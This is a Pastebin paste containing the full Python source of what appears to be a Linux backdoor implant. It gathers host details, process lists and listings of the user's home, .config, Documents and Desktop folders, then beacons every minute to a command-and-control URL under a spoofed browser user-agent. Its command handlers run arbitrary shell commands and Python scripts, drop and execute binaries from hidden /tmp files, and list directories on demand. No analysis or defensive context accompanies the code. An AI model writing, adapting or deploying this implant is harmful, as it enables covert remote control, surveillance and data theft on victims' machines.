Guest User

Untitled

a guest
Mar 31st, 2026
347
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.03 KB | None | 0 0
  1. import string
  2. import secrets
  3. import os
  4. import pwd
  5. import platform
  6. import time
  7. import sys
  8. import subprocess
  9. import base64
  10. import shlex
  11. from pathlib import Path
  12. import json
  13. from urllib.parse import urlsplit
  14. import datetime
  15. import http.client
  16. import sys
  17.  
  18. def get_os():
  19. arch = platform.machine().lower()
  20.  
  21. if arch in ("x86_64", "amd64"):
  22. return "linux_x64"
  23. elif "arm" in arch or "aarch" in arch:
  24. return "linux_arm"
  25. else:
  26. return "linux_unknown"
  27.  
  28. def get_boot_time():
  29. with open("/proc/uptime", "r") as f:
  30. uptime_seconds = float(f.readline().split()[0])
  31. boot_time = datetime.datetime.now() - datetime.timedelta(seconds=uptime_seconds)
  32. return boot_time
  33.  
  34. def get_host_name():
  35. with open("/proc/sys/kernel/hostname", "r") as f:
  36. return f.read().strip()
  37.  
  38. def get_user_name():
  39. return os.getlogin()
  40.  
  41. def get_installation_time():
  42. install_log_path = "/var/log/installer"
  43. dpkg_log_path = "/var/log/dpkg.log"
  44.  
  45. if os.path.exists(install_log_path):
  46. install_time = os.path.getctime(install_log_path)
  47. elif os.path.exists(dpkg_log_path):
  48. install_time = os.path.getctime(dpkg_log_path)
  49. else:
  50. return ""
  51.  
  52. return datetime.datetime.fromtimestamp(install_time)
  53.  
  54. def get_system_info():
  55. manufacturer = ""
  56. product_name = ""
  57.  
  58. try:
  59. with open("/sys/class/dmi/id/sys_vendor", "r") as f:
  60. manufacturer = f.read().strip()
  61. except FileNotFoundError:
  62. pass
  63.  
  64. try:
  65. with open("/sys/class/dmi/id/product_name", "r") as f:
  66. product_name = f.read().strip()
  67. except FileNotFoundError:
  68. pass
  69.  
  70. return manufacturer, product_name
  71.  
  72. def get_process_list():
  73. process_list = []
  74. current_pid = os.getpid()
  75.  
  76. for pid in os.listdir("/proc"):
  77. if pid.isdigit():
  78. try:
  79. cmdline_path = os.path.join("/proc", pid, "cmdline")
  80. if os.path.exists(cmdline_path):
  81. with open(cmdline_path, "r") as cmdline_file:
  82. cmdline = cmdline_file.read().replace("\x00", " ").strip()
  83. else:
  84. cmdline = "N/A"
  85.  
  86. with open(os.path.join("/proc", pid, "stat"), "r") as stat_file:
  87. stat_content = stat_file.read().split()
  88. ppid = int(stat_content[3])
  89. start_time_ticks = int(stat_content[21])
  90.  
  91. with open("/proc/uptime", "r") as uptime_file:
  92. uptime_seconds = float(uptime_file.readline().split()[0])
  93. system_boot_time = datetime.datetime.now() - datetime.timedelta(
  94. seconds=uptime_seconds
  95. )
  96. start_time = system_boot_time + datetime.timedelta(
  97. seconds=start_time_ticks
  98. / os.sysconf(os.sysconf_names["SC_CLK_TCK"])
  99. )
  100.  
  101. with open(os.path.join("/proc", pid, "status"), "r") as status_file:
  102. for line in status_file:
  103. if line.startswith("Uid:"):
  104. uid = int(line.split()[1])
  105. break
  106. else:
  107. uid = -1
  108.  
  109. username = "N/A"
  110. if uid != -1:
  111. with open("/etc/passwd", "r") as passwd_file:
  112. for passwd_line in passwd_file:
  113. fields = passwd_line.strip().split(":")
  114. if int(fields[2]) == uid:
  115. username = fields[0]
  116. break
  117.  
  118. if int(pid) == current_pid:
  119. process_list.append(
  120. (int(pid), ppid, username, start_time, "*" + cmdline)
  121. )
  122. else:
  123. process_list.append((int(pid), ppid, username, start_time, cmdline))
  124. except (FileNotFoundError, IndexError, ValueError):
  125. pass
  126.  
  127. return process_list
  128.  
  129. def print_process_list():
  130. process_list = get_process_list()
  131.  
  132. str = ""
  133.  
  134. for pid, ppid, username, start_time, cmdline in process_list:
  135. if len(cmdline) > 60:
  136. cmdline = cmdline[:57] + "..."
  137. start_time_str = start_time.strftime("%Y-%m-%d %H:%M:%S")
  138. str += (
  139. "{:<10} {:<10} {:<15} {:<25} {:<}".format(
  140. pid, ppid, username, start_time_str, cmdline
  141. )
  142. + "\n"
  143. )
  144.  
  145. str += "\n"
  146.  
  147. return str
  148.  
  149. def generate_random_string(length):
  150. characters = string.ascii_letters + string.digits
  151. return "".join(secrets.choice(characters) for _ in range(length))
  152.  
  153.  
  154.  
  155. def do_action_ijt(ijtbin, param):
  156. payload = base64.b64decode(b64_string)
  157.  
  158. file_path = f"/tmp/.{generate_random_string(6)}"
  159. try:
  160. with open(file_path, "wb") as file:
  161. file.write(payload)
  162.  
  163. os.chmod(file_path, 0o777)
  164.  
  165. subprocess.Popen(
  166. [file_path] + shlex.split(param.decode("utf-8", errors="strict"))
  167. )
  168. except Exception as e:
  169. return {
  170. "status": "Zzz",
  171. "msg": str(e)
  172. }
  173.  
  174. return {
  175. "status": "Wow",
  176. "msg": ""
  177. }
  178.  
  179. def get_filelist(PathStr, id, Recurse=False):
  180. p = Path(PathStr)
  181.  
  182. if not p.exists():
  183. raise Exception(f"No Exists Such Dir: {PathStr}")
  184.  
  185. items = p.rglob("*") if Recurse else p.iterdir()
  186.  
  187. result = []
  188.  
  189. for item in items:
  190. stat = item.stat()
  191.  
  192. created_ts = getattr(stat, "st_birthtime", None)
  193. created = int(created_ts) if created_ts is not None else 0
  194. modified = int(stat.st_mtime)
  195. hasItems = False
  196. if item.is_dir():
  197. hasItems = any(item.iterdir())
  198.  
  199. result.append({
  200. "Name": item.name,
  201. "IsDir": item.is_dir(),
  202. "SizeBytes": 0 if item.is_dir() else stat.st_size,
  203. "Created": created,
  204. "Modified": modified,
  205. "HasItems": hasItems
  206. })
  207.  
  208. return {
  209. "id": id,
  210. "parent": str(p),
  211. "childs": result
  212. }
  213.  
  214. def do_action_dir(Paths):
  215. rlt = []
  216. for item in Paths:
  217. rlt.append(get_filelist(item["path"], item["id"]))
  218. return rlt
  219.  
  220. def init_dir_info():
  221. home_dir = Path.home()
  222.  
  223. init_dir = [
  224. home_dir,
  225. home_dir / ".config",
  226. home_dir / "Documents",
  227. home_dir / "Desktop",
  228. ]
  229.  
  230. rlt = []
  231. idx = 0
  232. for item in init_dir:
  233. if item.exists():
  234. rlt.append(get_filelist(str(item), "FirstReqPath-" + str(idx)))
  235. idx = idx + 1
  236.  
  237. return rlt
  238.  
  239. def do_run_scpt(cmdline):
  240. try:
  241. result = subprocess.run(
  242. cmdline,
  243. shell=True,
  244. stdout=subprocess.PIPE,
  245. stderr=subprocess.STDOUT,
  246. text=True
  247. )
  248. return {
  249. "status": "Wow",
  250. "msg": result.stdout
  251. }
  252. except Exception as e:
  253. return {
  254. "status": "Zzz",
  255. "msg": str(e)
  256. }
  257.  
  258. def do_action_scpt(scpt, param):
  259. if not scpt:
  260. return do_run_scpt(param)
  261.  
  262. try:
  263. payload = base64.b64decode(scpt).decode("utf-8", errors="strict")
  264.  
  265. result = subprocess.run(
  266. ["python3", "-c", payload] + shlex.split(param),
  267. stdout=subprocess.PIPE,
  268. stderr=subprocess.STDOUT,
  269. text=True
  270. )
  271.  
  272. return {
  273. "status": "Wow",
  274. "msg": result.stdout
  275. }
  276.  
  277. except Exception as e:
  278. return {
  279. "status": "Zzz",
  280. "msg": str(e)
  281. }
  282.  
  283.  
  284.  
  285. def send_post_request(full_url, data):
  286. try:
  287. url_parts = urlsplit(full_url)
  288. host = url_parts.netloc
  289.  
  290. path = url_parts.path or "/"
  291. if url_parts.query:
  292. path += "?" + url_parts.query
  293.  
  294. if isinstance(data, str):
  295. data = data.encode("utf-8")
  296.  
  297. if url_parts.scheme == "https":
  298. conn = http.client.HTTPSConnection(host, timeout=60)
  299. else:
  300. conn = http.client.HTTPConnection(host, timeout=60)
  301.  
  302. headers = {
  303. "Content-Type": "application/x-www-form-urlencoded",
  304. "User-Agent": "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)",
  305. }
  306.  
  307. conn.request("POST", path, data, headers)
  308.  
  309. response = conn.getresponse()
  310. response_data = response.read()
  311.  
  312. conn.close()
  313. return response_data
  314.  
  315. except Exception:
  316. return None
  317.  
  318. def send_result(url, body):
  319. encoded = base64.b64encode(
  320. json.dumps(body, ensure_ascii=False).encode("utf-8")
  321. ).decode()
  322. return send_post_request(url, encoded)
  323.  
  324. def process_request(url, uid, data) -> bool:
  325. if len(data) == 0:
  326. return False
  327.  
  328. json_obj = json.loads(data)
  329.  
  330. if json_obj.get("type") == "kill":
  331. body = {
  332. "type": "CmdResult",
  333. "cmd": "rsp_kill",
  334. "cmdid": json_obj.get("CmdID"),
  335. "uid": uid,
  336. "status": "success",
  337. }
  338. send_result(url, body)
  339. sys.exit(0)
  340.  
  341. elif json_obj.get("type") == "peinject":
  342. rlt = do_action_ijt(
  343. json_obj.get("IjtBin"),
  344. json_obj.get("Param")
  345. )
  346. body = {
  347. "type": "CmdResult",
  348. "cmd": "rsp_peinject",
  349. "cmdid": json_obj.get("CmdID"),
  350. "uid": uid,
  351. "status": rlt.get("status"),
  352. "msg": rlt.get("msg"),
  353. }
  354. send_result(url, body)
  355.  
  356. elif json_obj.get("type") == "runscript":
  357. rlt = do_action_scpt(
  358. json_obj.get("Script"),
  359. json_obj.get("Param")
  360. )
  361. body = {
  362. "type": "CmdResult",
  363. "cmd": "rsp_runscript",
  364. "cmdid": json_obj.get("CmdID"),
  365. "uid": uid,
  366. "status": rlt.get("status"),
  367. "msg": rlt.get("msg"),
  368. }
  369. send_result(url, body)
  370.  
  371. elif json_obj.get("type") == "rundir":
  372. rlt = do_action_dir(json_obj.get("ReqPaths"))
  373. body = {
  374. "type": "CmdResult",
  375. "cmd": "rsp_rundir",
  376. "cmdid": json_obj.get("CmdID"),
  377. "status": "Wow",
  378. "uid": uid,
  379. "msg": rlt,
  380. }
  381. send_result(url, body)
  382.  
  383. return True
  384.  
  385.  
  386.  
  387. def main_work(url, uid):
  388. boot_time = str(get_boot_time())
  389. installation_time = str(get_installation_time())
  390. timezone = str(datetime.datetime.now(datetime.timezone.utc).astimezone().tzinfo)
  391. manufacturer, product_name = get_system_info()
  392. os_version = platform.system() + " " + platform.release() + " "
  393. os = get_os()
  394.  
  395. while True:
  396. current_time = str(datetime.datetime.now())
  397. ps = print_process_list()
  398.  
  399. data = {
  400. "hostname": get_host_name(),
  401. "username": get_user_name(),
  402. "os": os,
  403. "version": os_version,
  404. "timezone": timezone,
  405. "installDate": installation_time,
  406. "bootTimeString": boot_time,
  407. "currentTimeString": current_time,
  408. "modelName": manufacturer,
  409. "cpuType": product_name,
  410. "processList": ps
  411. }
  412. body = {
  413. "type": "BaseInfo",
  414. "uid": uid,
  415. "data": data
  416. }
  417. response_content = send_result(url, body)
  418.  
  419. if response_content:
  420. result = process_request(url, uid, response_content)
  421.  
  422. time.sleep(60)
  423.  
  424. def work():
  425. url = sys.argv[1]
  426.  
  427. uid = generate_random_string(16)
  428.  
  429. os = get_os()
  430. dir_info = init_dir_info()
  431. body = {
  432. "type": "FirstInfo",
  433. "uid": uid,
  434. "os": os,
  435. "content": dir_info
  436. }
  437. send_result(url, body)
  438.  
  439. main_work(url, uid)
  440.  
  441. return True
  442.  
  443. work()
Add Comment
Please, Sign In to add comment